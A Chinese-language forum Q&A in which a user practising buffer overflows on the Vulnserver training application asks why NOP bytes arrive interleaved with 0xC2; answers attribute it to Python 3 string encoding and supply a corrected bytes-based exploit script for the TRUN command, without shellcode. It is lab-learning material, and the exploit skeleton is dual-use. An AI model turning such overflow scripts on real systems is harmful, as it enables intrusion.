Vulnserver缓冲区溢出NOP字符未正确传入

2024-09-30 14:27:47 发布

您现在位置:Python中文网/ 问答频道 /正文

我目前正在对vulnserver应用程序进行缓冲区溢出测试。用十六进制值A溢出缓冲区似乎没有问题地传递到程序中。EIP也被覆盖,没有问题。但是,当我开始NOP sled时,在每个NOP值之后都会传入一个C2十六进制值。不知道为什么会这样。我有个十六进制垃圾桶来告诉你我的意思:

enter image description here

下面是我用来创建溢出的python脚本:

import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",9999)) buff = '\x41' * 2006 shellcode = ... nop = '\x90' * 16 #shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly. overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop s.send(overflow.encode())

我想知道这个错误是在python编码/发送数据包时发生的,还是仅仅是由于vulnserver的编写方式造成的。在


Tags: 程序脚本应用程序socketnopbuff缓冲区c2
2条回答

\xC2-\x90=\x32。您是否尝试将nop底座发送为\x5E\x90\x5E\x90\x5E\x90?在

您的问题是由于您使用了python3。在

.encode()方法是问题的根本原因。在

试试这个:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = b'\x41' * 2006
shellcode = b'...'
nop = b'\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
s.send(overflow)

相关问题 更多 >